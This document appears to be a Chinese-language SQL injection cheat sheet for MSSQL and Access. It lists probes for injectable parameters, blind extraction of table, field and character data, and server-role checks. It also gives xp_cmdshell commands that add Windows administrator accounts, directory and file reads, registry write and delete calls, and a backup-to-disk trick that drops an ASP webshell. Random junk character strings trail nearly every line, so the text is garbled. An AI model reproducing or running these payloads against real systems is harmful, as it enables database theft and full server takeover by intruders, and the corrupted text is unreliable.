1.判断是否有注入;and 1=1 ;and 1=2 b,lIndj#
2.初步判断是否是mssql ;and user>0 m^KK
#Hw/`
h@+(VQ
3.注入参数是字符'and [查询条件] and ''=' _)MbvF
Qq<+QL |
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ?@H/;hB[|
y\mK?eR
5.判断数据库系统 z+]YB5zK%
ok/{ w
;and (select count(*) from sysobjects)>0 mssql l{t!
LTf;
yZY.B
{
;and (select count(*) from msysobjects)>0 access jfjT::f>l
F!cRx%R
Z`x*Igf8
:|N(:W>=$Y
6.猜数据库 ;and (select Count(*) from [数据库名])>0 %Wa. 2s
_$m1?DZ
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 =-;J2Qlg6
`J-&Y2_/k
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 %YwIR.o
@(any^QJ
9.(1)猜字段的ascii值(access) }5=tUfh)]'
li&&[=6A
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 )BmO[AiOM
]SG(YrF
(2)猜字段的ascii值(mssql) 3?s1Yw>?
HB9|AQ4K
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ~JTp8E9kw
l [
Na vw
10.测试权限结构(mssql) 5^C.}/#>F
Yl"l|2
:
Mb'Tx
;fZ9:WB
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- @WICAC=
PLhlbzc f
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- d7qYz7=d
/XXy!=1J
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ~ ":}Rs
%Iv*u sXP
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ,o sM|!,
{J]x81}*;
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 7(B"3qF8|
M1J77LfS8
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- a$]i8AeG
jn+BH3e
;and 1=(select IS_MEMBER('db_owner'));-- o$k9$H>Na
u9D#5NvGs
Itv}TK
eF
vu`,:/|h
11.添加mssql和系统的帐户 siD/`T&
s'=w/os
;exec master.dbo.sp_addlogin username;-- r;8X6C
;exec master.dbo.sp_password null,username,password;-- q1,jDJglZ
/Gvd5
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ;}4^WzmK^(
UBM:.*wN
;exec master.dbo.xp_cmdshell 'net user username password (!0fmL
tl^![Z
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- y28 e=i
Rp_)LA
;exec master.dbo.xp_cmdshell 'net user username password /add';-- y\zRv(T=
wMU}EoGS?
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- =k:yBswi
lFbf9s:$B
L%
`lC]
G }U'?p
12.(1)遍历目录 o>Q=V0?
mcq.*at
;create table dirs(paths varchar(100), id int) r"&VG2c0K
LW*v/`@
;insert dirs exec master.dbo.xp_dirtree 'c:\' DgODTxiX
eWWfUNBSLX
;and (select top 1 paths from dirs)>0 cCO2w2A[*
z65Q"A
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ]B3f$;W
=p>IP"HJ
sU0W)c;
>Qx
:l#B
(2)遍历目录 1)hO!%
N^%7
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- f8S! FGiNc
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 dT'd C
-d_7 q
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 # "!q_@b,D
P~M<OUg
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 f7?IXDQ>!
#TPS?+(
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 fzZ`O{$8
,dXJCX8so
PgdHH:v)
Mq52B_
13.mssql中的存储过程 T,/:5L9
CqR^w(
xp_regenumvalues 注册表根键, 子键 ,f}u|D 3@
HUalD3
\
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 |OBh:d_B]
/Jf}~}JP
xp_regread 根键,子键,键值名 KZGy&u
>`
@7`=0;g
;exec xp_regread >>%E?'9A
3gs!ojG
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 y&6 pc
(D2N_l(`<
xp_regwrite 根键,子键, 值名, 值类型, 值 PnZY%+[I
#AF.1;(k
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 (O"-6`w[
0+Z?9$a1
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Iad&Z8E
'a G`qPB
xp_regdeletevalue 根键,子键,值名 N2.Ym;^
xjh(;S'
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 >hO9b;F}
Y|cj&<o
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 gN.n_!
c'
Q4Fzj0'
om2)Cd9~7
tL]T_]z
14.mssql的backup创建webshell P(aN6)D
;k
(M4?
use model @ RP?)*8}&
@:t2mz:^i
create table cmd(str image); L~E|c/
X+QoO=02LR
insert into cmd(str) values (''); RC!9@H5S#
Wo{4*~f
backup database model to disk='c:\l.asp'; nQ#NW8*Fs
ZoR6f\2M
{
t@7r
6[Wv g
15.mssql内置函数 DLO2$d
h^'+y1
;and (select @@version)>0 获得Windows的版本号 _b9>ZF~
rA /T>ZM
;and user_name()='dbo' 判断当前系统的连接用户是不是sa eFC~&L;
a+<{!+3v
;and (select user_name())>0 爆当前系统的连接用户 ,c|Ai(U
1*?L>@Wdy
;and (select db_name())>0 得到当前连接的数据库 LAY~hF"
1!;4I@W(I)
7X <#
Y'yGhpT~
16.简洁的webshell ;%Kh~
;]>a7o
use model 7M<co,"
C(n_*8{
create table cmd(str image); cUr5x8<W).
_ ( $U\FW
insert into cmd(str) values (''); 7{p6&xXx
~p
x2kHZ
backup database model to disk='g:\wwwtest\l.asp';